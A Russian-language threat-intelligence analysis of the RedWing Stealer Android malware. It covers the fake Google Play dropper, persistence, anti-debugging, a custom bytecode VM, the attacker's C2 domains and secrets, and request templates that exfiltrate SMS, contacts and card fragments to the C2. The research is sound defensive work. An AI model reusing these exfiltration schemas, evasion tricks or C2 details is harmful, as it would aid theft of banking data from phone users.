
Эксперты компании F6, российского разработчика технологий для борьбы с киберугрозами, изучать новую угрозу для Android-устройств, которую распространяют в России с июля 2026 года – трояна RedWing.
В первой части специалисты F6 представили исследование банковского трояна RedWing RAT и его вредоносных возможностей. В этом блоге эксперты департамента киберразведки компании F6 представляют разбор второй разновидности трояна – RedWing Stealer. В отличие от первой версии, которая нацелена прежде всего на удалённое управление скомпрометированным устройством, задача стилера – сбор информации с устройства.
Как мы уже писали, это вредоносное ПО начали распространять через Telegram по модели MaaS (Malware-as-a-service, вредоносная программа как услуга) как минимум с начала 2026-го. В июле аналитики F6 зафиксировали первую кампанию по распространению RedWing, нацеленную на пользователей в России: злоумышленники рекламировали новый троян под видом мобильного приложения для оповещений о воздушных атаках под названием RadarTrevog.
Впоследствии эксперты F6 обнаружили более 800 образцов ВПО RedWing Stealer, которые распространялись в мае-сентябре 2026 года.
Среди Android-приложений, под которые злоумышленники маскировали вредоносное приложение – радары беспилотной опасности, карты АЗС, с помощью которых предлагали отслеживать наличие бензина в режиме реального времени, программы для просмотра фотографий, сервисы просмотра видео 18+, VPN, различные игровые модификации, включая читы и моды популярных игр Minecraft, Roblox, Standoff 2, Brawl Stars, Oxide, Exile, Skyrim и Pubg. Такие читы и моды распространяли в том числе через Telegram-каналы игровой тематики.
Изучив RedWing Stealer и средства обработки СМС, которые предусмотрены в приложении, специалисты F6 Threat Intelligence пришли к выводу: разработчики вредоносного приложения нацелили своё оружие на пользователей сразу из нескольких стран. Это клиенты банков и платежных сервисов из России, Узбекистана и Казахстана, а также российских маркетплейсов и микрофинансовых организаций.
Функциональные возможности RedWing Stealer предусматривают кражу:
SMS-сообщений с отдельным поиском в них интересующих троян сервисов, не замаскированных частей банковских карт и ссылок;
получаемых push-уведомлений;
местоположения устройства;
информации об устройстве и его состоянии;
информации о подключенных SIM;
информации об истории звонков;
списка контактов;
списка установленных на устройство приложений.
Также имеет возможности:
отправки USSD-запросов;
отправки SMS;
открытия URL-ссылок;
запуска reverse proxy;
сокрытия/отображения иконки приложения;
закрепления на зараженном устройстве;
использования механизмов AntiVM и AntiDebug.
В этом исследовании аналитики F6 Threat Intelligence расскажут, как устроен RedWing Stealer, и раскроют его особенности.
Приложение-загрузчик
В некоторых случаях злоумышленники использовали при распространении RedWing Stealer приложение-загрузчик, в котором полезная нагрузка расположена внутри ассетов в зашифрованном виде. Само приложение повторяло интерфейс приложения Google Play и имитировало его работу. После запуска отображается окно со скачиванием обновления и имитация проверки безопасности для внушения доверия, после которого отображается страница с обновлением приложения и кнопкой «Обновить».

При нажатии на кнопку обновления приложение отобразит окно с просьбой выдачи разрешения на установку приложений, при подтверждении открывается окно настроек, в котором пользователь может выдать разрешение. После получения разрешения приложение распаковывает нагрузку и выполняет процесс установки, после которого происходит запуск приложения-нагрузки без необходимости дальнейших действий пользователя.

После того как полезная нагрузка была установлена на устройство, ее иконка не видна на рабочем столе, а при повторном открытии загрузчика пользователя перекидывает на установленное приложение.
Технические детали

MD5: a7d5309214dd4df0946c5ff07ffa812d SHA1: 5cc7612c0aa0eaafd8ddc8dfe232ebb5f89cf3ac SHA256: a77fb0b4de9ee95b640f0cf054160023337967cfc790f2a7803530a1632a3857
Процесс исполнения
При запуске приложения происходит распаковка и инициализация настроек, запрос необходимых разрешений, после которых для отвлечения внимания пользователя происходит имитация работы приложения, за которой будет скрываться фоновый сервис управления.
Инициализация
При инициализации в случае, если приложение было упаковано, происходит загрузка нативной библиотеки для расшифровки DEX-файла из ассетов и вызова оригинального метода инициализации с передачей контекста. Сам метод инициализирует сервис для работы с сообщениями Firebase FCM, через который сервер злоумышленника может посылать команды управления. Полученный FCM-токен будет отправлен позже через взаимодействие по WebSocket, логика которого подробнее описана в разделе «WebSocket». Конфигурация данных инициализации Firebase FCM:
applicationId: 1:558390505418:android:44cf50f9630e0ab72f6933 apiKey: AIzaSyBEN56RjB8pakZs51YqnvOm0QQ95s6ER70 databaseUrl: null gaTrackingId: null gcmSenderId: 558390505418 storageBucket: null projectId: gun-donch1k
В обработчике FCM-сообщений реализована логика запуска сервиса управления вместе с созданием подключения WebSocket.
Исполнение
После инициализации запускается фоновый сервис, в котором реализована основная логика приложения для сбора информации и управления устройством. Его полный набор функциональных возможностей будет активен после выдачи необходимых разрешений.
Приложение запросит необходимые разрешения, которые автор ВПО разделил по группам. Разрешения будут запрашивать циклически по каждой группе до тех пор, пока пользователь их не выдаст. Таблица с указанием деталей по группам разрешений, определенным разработчиком:
Имя | Заголовок | Описание |
|---|---|---|
sms_default | SMS доступ | Для доступа к данному ресурсу |
battery | Оптимизация батареи | Необходимо для стабильной фоновой работы |
autostart | Автозапуск | Разрешите работу в фоновом режиме |
Сначала приложение запрашивает полный доступ на обработку SMS, после которого приложение сможет перехватывать входящие сообщения, читать историю сообщений и отправлять свои сообщения, включая USSD-команды.

Далее приложение запрашивает разрешение на работу в фоновом режиме для предотвращения случаев, в которых система для оптимизации завершает процесс приложения.

После чего приложение запрашивает разрешение автозапуска, которое зависит от модели устройства и более строго ограничивает работу приложений в фоновом режиме. После выдачи такого разрешения вредоносное приложение сможет возобновлять работу своих сервисов самостоятельно при обработке события.

После того как пользователь выдал все разрешения, перед пользователем отобразится окно ввода PIN-кода.

После введения ПИН-кода будет отправлен запрос на сервер с указанным значением. Представленный формат запроса будет во всех последующих HTTP-запросах, где поле заголовка Cookie содержит параметр ts — текущее время, и sg — токен, генерируемый из team_id + timestamp и подписываемый HmacSHA256 ключом secret из конфигурации. Ниже представлены шаблоны URI, поле заголовка Cookie и тела запроса:
POST /v1/pin "Cookie": _ts={timestamp}; _sg={token}
{ "device_id": {device_id}, "team_id": {team_id}, "pin": "pin:{pin}" }
После всех действий у пользователя отобразится WebView (браузер, встроенный в приложение), который будет имитировать работу приложения. В данном случае это сайт с радаром беспилотной опасности.

Приложение имеет несколько обработчиков, с помощью которых оно может автоматически запускать свой сервис после перезапуска устройства. Из видимых обработчиков это виджеты системы, при взаимодействии с которыми будет также запущен сервис.
Также приложение активирует системный механизм синхронизации, который отвечает за периодичное обновление состояния приложения в определенный период (настроенный на 30 минут), в моменте которого будет выполнена проверка состояния сервиса и его запуск. Для корректной работы такого компонента необходимо наличие аккаунта приложения, которое оно само добавит в менеджер аккаунтов устройства.

После того как пользователь выдал все разрешения, приложение переходит в фоновый режим, сервис BackgroundMonitor, в котором реализована основная логика приложения и взаимодействие с С2 через WebSocket. Вся реализация вынесена в нативную библиотеку и скрыта под самописной виртуальной машиной, которая управляет контекстом сервиса.
Запущенный сервис будет автоматически поддерживаться цикличными задачами перезапуска, прикреплен к нескрываемому уведомлению, скрыт из списка запущенных приложений и будет воспроизводить пустой аудиопоток для имитации работы перед системой (аналогично функции трояна RedWing, описанной в первой части исследования этого ВПО).
Сервис BackgroundMonitor
При запуске сервиса происходит загрузка нативной библиотеки, если она не была запущена ранее, вызывается функция запуска виртуальной машины с инициализацией контекста и создание потока интерпретатора. Сам контекст хранит состояния всей виртуальной машины, включая поля из конфигурации.
Конфигурация
Сама конфигурация не хранится в открытом виде, а зашифрована с помощью алгоритма шифрования ChaCha20 с сокрытием зашифрованных данных в младших битах пикселей изображения (Least Significant Bit) и помещена в ассеты со случайным названием файла. Содержимое конфигурации упаковано в кастомном формате, порядок полей может отличаться. Конфигурация из исследуемого семпла:
server_url: https://netpulse-api.top team_id: 11a61668 secret: b72b3ebed58ffa4d347a5ccf08c4595270f9a6347fce56909f5d18926732c64e worker_id: 8251778191 worker_username: trybettr panel_url: https://netpulse-api.shop
WebSocket
В контексте сервиса создается WebSocket-соединение с C2-сервером, для реализации логики получения команд и отправки результатов их выполнения. Шаблон URL-ссылки, с которым будет создано соединение, и User-Agent:
http[s]://{panel_url}/cable User-Agent: "Mozilla/5.0 (Linux; Android {android}; {model}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Mobile Safari/537.36"
При успешном соединении отправляет команду авторизации (type: auth) и запускает поток с отправкой сообщения о жизнедеятельности (type: hb) со случайным интервалом от 15 до 40 секунд.
Шаблон сообщения авторизации
{ "type": "auth", # тип сообщения "did": {device_id}, "tid": {team_id} }
Шаблон сообщения жизнедеятельности
{ "type": "hb", # тип сообщения "ts": 0, # время отправки "data": { # содержание сообщения "battery_level": 100, # уровень заряда батареи "is_charging": false, # идёт ли заряд батареи "screen_on": false, # включён ли экран "battery_optimized": false, # отключена ли оптимизация батареи "permissions": { # статусы разрешений "sms": false, # приложение является обработчиком СМС‑сообщений "phone": false, # разрешение на чтение состояния телефонного сервиса "call_log": false, # разрешение на чтение истории звонков "contacts": false, # разрешение на чтение контактов "default_sms": false, # приложение является обработчиком СМС‑сообщений "notifications": false, # разрешение на отправку уведомлений "notification_access": false, # разрешение на обработку уведомлений "accessibility": false # разрешение специальных возможностей }, "fcm_token": "" # токен Firebase FCM для отправки сообщений пользователю } }
Приложение обрабатывает в контексте WebSocket-соединения три типа сообщений: pong, ping и cmd. Сообщения ping/pong используются для поддержания соединения, проверки активности бота и сервера, на входящий ping клиент отвечает командой pong, а на pong сохраняет время получения сообщения. Сообщение cmd используется для получения команд от сервера.
Шаблоны сообщений ping/pong
{ "type": "ping" # тип сообщения }
{ "type": "pong" # тип сообщения }
Шаблон сообщения cmd
{ "type": "cmd", # тип сообщения "data": { "command": "", # имя команды "id": "", # идентификатор команды "params": "" # параметры команды } }
Обработанные команды передаются в контекст виртуальной машины, где будут исполнены. Полное описание команд можно найти в главе Описание команд.
Виртуальная машина
В конфигурации приложения содержится байткод, передаваемый в интерпретатор виртуальной машины для его исполнения. В ходе исследования файлов был найден только один вариант байткода, который описан ниже.
Виртуальная машина содержит 35 инструкций, в которых есть как простая математическая логика, так и полноценные функции. Стоит также отметить, что часть реализованных в ней функций не используется в контексте исполнения применяемого злоумышленниками байткода. В контексте виртуальной машины хранятся практически все данные, используемые в сервисе. Формирование сообщений для запроса собираются, как конструктор, из разных функций и записываются в поле контекста виртуальной машины для последующей отправки сообщения. Дизассемблированное представление байткода:
// start: Проверка на отладку, запрос инициализации, ожидание 5с, 0000 | 60 | GUARD 0001 | 51 | SEND.INIT 0002 | 02 00 00 13 88 | PUSH.IMM32 0x00001388 0007 | 30 | SLEEP 0008 | 02 00 00 00 00 | PUSH.IMM32 0x00000000 000D | 07 00 | POP.REG r0 // check: Проверка наличия событий 000F | 61 | EVENT.GET 0010 | 02 00 00 00 00 | PUSH.IMM32 0x00000000 0015 | 22 | CMP.Z 0016 | 11 00 00 00 28 | B.EQ 0x00000028 // event: Цикл вызова событий пока они есть 001B | 62 | EVENT.CALL 001C | 61 | EVENT.COUNT 001D | 02 00 00 00 00 | PUSH.IMM32 0x00000000 0022 | 22 | CMP.Z 0023 | 12 00 00 00 1B | B.NE 0x0000001B // wait: Каждый 7 цикл уходит на блок sync 0028 | 06 00 | PUSH.REG r0 002A | 02 00 00 00 01 | PUSH.IMM32 0x00000001 002F | 20 | ADD 0030 | 04 | DUP 0031 | 07 00 | POP.REG r0 0033 | 02 00 00 00 07 | PUSH.IMM32 0x00000007 0038 | 23 | CMP.N 0039 | 11 00 00 00 49 | B.EQ 0x00000049 // sync: Запросы синхронизации 003E | 02 00 00 00 00 | PUSH.IMM32 0x00000000 0043 | 07 00 | PUSH.REG r0 0045 | 52 | SEND.SYNC 0046 | 05 | POP 0047 | 54 | SEND.SYNC2 0048 | 05 | POP // loop: Ожидание 1с и переход к check 0049 | 02 00 00 0B B8 | PUSH.IMM32 0x00000BB8 004E | 30 | SLEEP 004F | 10 00 00 00 0F | B 0x0000000F
В первом исполняемом блоке выполняется проверка с целью обнаружения отладки, в случае её наличия виртуальная машина останавливает свое выполнение. В контексте этой проверки приложение выполняет поиск инструментов отладки через перебор имен загруженных библиотек, проверяет активность TCP-порта отладки (27042), выполняет ряд проверок с целью обнаружения запуска в контексте эмулятора и проверяет наличие интернет-соединения через запрос к легитимной URL-ссылке. Если отладка не обнаружена, ВПО отправляет запрос инициализации, задействовав весь функционал приложения по сбору информации.
POST /v1/init
{ "device_id": {device_id}, # идентификатор устройства "team_id": {team_id}, # идентификатор команды из конфигурации "worker_id": {worker_id}, # идентификатор работника из конфигурации "worker_username": {worker_username}, # имя команды из конфигурации "model": {model}, # модель устройства "manufacturer": {manufacturer}, # производитель устройства "sdk_version": {sdkInt}, # версия андроид апи "android_version": {release}, # версия андроида "operator": {operator}, # оператор связи "country": {country}, # страна оператора "phone_number": {phoneNumber}, # номер телефона "battery_level": {batteryLevel}, # уровень заряда батареи "ip_address": {ip_query}, # поле с http://ip-api.com/json "city": {ip_city}, # поле с http://ip-api.com/json "isp": {ip_isp}, # поле с http://ip-api.com/json "time": {timestamp}, # время запроса "apps_count": {apps_count}, # количество приложений "sim_count": {sim_count}, # количество симок "operator_2": {operator_2}, # оператор связи "app_version": "2.0", # версия приложения "sms": true, # приложение является обработчиком СМС‑сообщений "phone": true, # разрешение на телефонный сервис "call_log": true, # разрешение на чтение истории звонков "contacts": true, # разрешение на чтение контактов "location": true, # разрешение на геолокацию "default_sms": true, # приложение является обработчиком СМС‑сообщений "notifications": true, # разрешение на отправку уведомлений "notification_access": true, # разрешение на обработку уведомлений "accessibility": true, # разрешение на специальные возможности "is_online": true, # устройство онлайн "is_rooted": false, # устройство рутировано "is_emulator": false, # устройство эмулятор "device_type": "shadow", # тип устройства "app_label": {app_label}, # имя приложения "battery_optimized":true, # включена ли оптимизация "apps": [ # список приложения { "name":{appName}, # имя приложения "package":{packageName} # пакет приложения } ], "contacts": [ # список контактов { "name": {name}, # имя контакта "phone": {phone} # телефон контакта }, ], "sms_count": 0, # количество смс "sms_archive_file":"{base64_sms_list}", # смс в формате текста в base64 "sms_archive_filename": "sms_archive.txt", # имя файла содержащий sms_archive_file "analysis":{ # аналитика смс на контекст "banks":[{bank_list}], # банки "cards":[{card_list}], # карты "marketplaces":[{marketplaces_list}], # маркетплейсы "mfo":[{mfo_list}], # мфо "checks":[{url_list}] # ссылки } }
Перед отправкой запроса сервис обрабатывает архив SMS-сообщений для выполнения нескольких целей: сбора актуальных для пользователя сервисов (банки, маркетплейсы, микрофинансовые организации), сбор открытой части банковских карт, сбор ссылок связанных с услугами сервисов.
В первом случае ВПО ищет подстроки, связанные с интересующими сервисами, и в случае обнаружения добавляет соответствующие наименования в массив для каждой из категорий. В списке сервисов, которые интересуют злоумышленников – 16 крупных российских, 12 узбекистанских и 7 казахстанских банков, а также 9 маркетплейсов и 8 микрофинансовых организаций.
Приложение выполняет поиск по символам , X, x, х (unicode: 0xd185), после чего проверяет последовательность на наличие 4 цифр (пример 9999). Найденные наборы будут добавлены в поле cards. Также приложение выполняет сбор URL-ссылок из сообщений, где по заданному набору начальной части URL будут извлечены полные ссылки и добавлены в поле checks. В заданный набор URL входит список 6 операторов фискальных данных.
После выполнения запроса инициализации запускается бесконечный цикл, который каждые 7 секунд отправляет запросы синхронизации, в ответ на которые сервер присылает команды для исполнения. Результаты выполнения могут быть отправлены как ответным сообщением, так и дополнительно в отдельном запросе. Первый запрос синхронизации не обрабатывает ответы сервера, а только отсылает информацию о выданных разрешениях для оповещения операторов ВПО о состоянии устройства.
POST /v1/sync
Шаблон передаваемого JSON-объекта
{ "device_id": {device_id}, # идентификатор устройства "team_id": {team_id}, # идентификатор команды из конфигурации "battery_level": {battery_level}, # уровень заряда батареи "is_charging": {is_charging}, # идет ли зарядка телефона "screen_on": {screen_on}, # включен ли экран "battery_optimized": {battery_optimized}, # включена ли оптимизация батареи "permissions": { # статусы разрешений "sms": {is_sms}, # приложение является обработчиком СМС‑сообщений "phone": {is_phone}, # разрешение на телефонный сервиса "call_log": {is_call_log}, # разрешение на чтение истории звонков "contacts": {is_contacts}, # разрешение на чтение контактов "default_sms": {is_sms}, # приложение является обработчиком СМС‑сообщений "notifications": {is_not}, # разрешение на отправку уведомлений "notification_access": {is_nota}, # разрешение на обработку уведомлений "accessibility": {is_accessibility} # разрешение специальных возможностей } }
После первого запроса синхронизации сразу происходит второй запрос на тот же путь без дополнительной информации. В ответ на него сервер возвращает список команд, которые приложение записывает в очередь событий для последующей обработки.
POST /v1/sync
{ "device_id": {device_id}, # идентификатор устройства "team_id": {team_id}, # идентификатор команды из конфигурации }
Обработка и исполнение событий происходит каждую секунду последовательно. Помимо команд, в очереди событий могут находиться события входящих SMS-сообщений, уведомлений и другие события, описанные ниже. Команды, полученные с WebSocket, добавляются в эту очередь и обрабатываются точно так же, как и команды, полученные при синхронизации.
Тип события | Функция добавления события |
|---|---|
1 | onSmsReceived ( String sender, String message, int sim_slot ) |
2 | onNotification ( String package, String title, String text, String label ) |
3 | onBoot () |
3 | sendPinCaptured ( String pin ) – "trigger_pin" |
3 | nativeExecuteCommand ( String data ) – "ws_cmd" |
3 | nativeTriggerRegister () – "trigger_register" |
3 | nativeTriggerHeartbeat () – "trigger_heartbeat" |
Первый тип события — обработчик входящих SMS-сообщений, но в данном семпле он не используется. Вместо него входящие и отправленные сообщения обрабатываются сразу. Все сообщения сначала сохраняются в файл настроек SharedPreferences во избежание утери сообщения, после чего выполняется их отправка на сервер и удаление сообщения из файла настроек.
POST /v1/events
Шаблон сообщения с отправкой SMS
{ "device_id": {device_id}, # идентификатор устройства "team_id": {team_id}, # идентификатор команды из конфигурации "sender": {sender}, # номер телефона отправителя "message": {message}, # сообщение "sms_type": "incoming", # тип сообщений "sim_slot": {sim_slot}, # слот сим-карты "received_at": {timestamp}, # строковое время сообщение "sms_timestamp": {timestamp}, # время сообщения "phone_number": "", # пусто "source": "fast" # тип отправки }
Второй тип события – это обработчик входящих уведомлений. Его работа активируется после получения полного разрешения на обработку уведомлений. В данном обработчике реализована фильтрация входящих уведомлений по имени пакета: сначала отсеиваются системные пакеты во избежание избыточного логирования информации, затем выполняется проверка пакета на системное приложение SMS с последующей отправкой входящего SMS-уведомления.
POST /v1/events
Шаблон сообщения с отправкой SMS из уведомления
{ "device_id": {device_id}, # идентификатор устройства "team_id": {team_id}, # идентификатор команды из конфигурации "sender": {sender}, # номер телефона отправителя "message": {message}, # сообщение отправителя "sms_type": "incoming", # тип сообщений "sim_slot": {sim_slot}, # слот сим-карты "received_at": {timestamp}, # строковое время сообщение "sms_timestamp": {timestamp}, # время сообщения "phone_number": {cache_phone}, # номер телефона "source": "broadcast" # тип отправки }
Все остальные пакеты полученного уведомления также отправляются на сервер.
POST /v1/telemetry
Шаблон сообщения с информацией об уведомлении
{ "device_id": {device_id}, # идентификатор устройства "team_id": {team_id}, # идентификатор команды из конфигурации "package_name": {package}, # пакет приложения "app_name": {label}, # имя приложения "title": {title}, # заголовок уведомления "text": {text}, # текст уведомления "received_at": {timestamp} # время сообщения }
Третий тип события — это триггеры, которые приложение вызывает из внутренних событий, таких как ввод PIN-кода пользователем или получение команды с WebSocket.
Имя триггера | Описание триггера |
|---|---|
trigger_register | отправляет запрос инициализации (аналогичен описанному выше) |
trigger_heartbeat | отправляет запрос синхронизации (аналогичен описанному выше) |
trigger_pin | обработчик PIN-кода, запрос формируется в процессе исполнения |
ws_cmd | обработчик команд веб‑сокета |
Триггер ws_cmd обрабатывает и исполняет входящие команды с WebSocket. Ответные сообщения команд отправляются по одному шаблону, за исключением некоторых команд, где помимо сообщения дополнительно отправляется HTTP-запрос. Шаблон для отправки результата команды записывается в поле command_result – именно в это поле в следующей главе будут записаны полученные результаты.
POST /v1/ack
Шаблон сообщения с результатом выполнения команды
{ "device_id": {device_id}, # идентификатор устройства "team_id": {team_id}, # идентификатор команды из конфигурации "command_id": {command_id}, # номер команды из запроса "status": "executed", # статус команды "result": {command_result} # результат команды в виде объекта }
Другие подробности исследования, индикаторы компрометации можно найти в блоге на сайте F6.

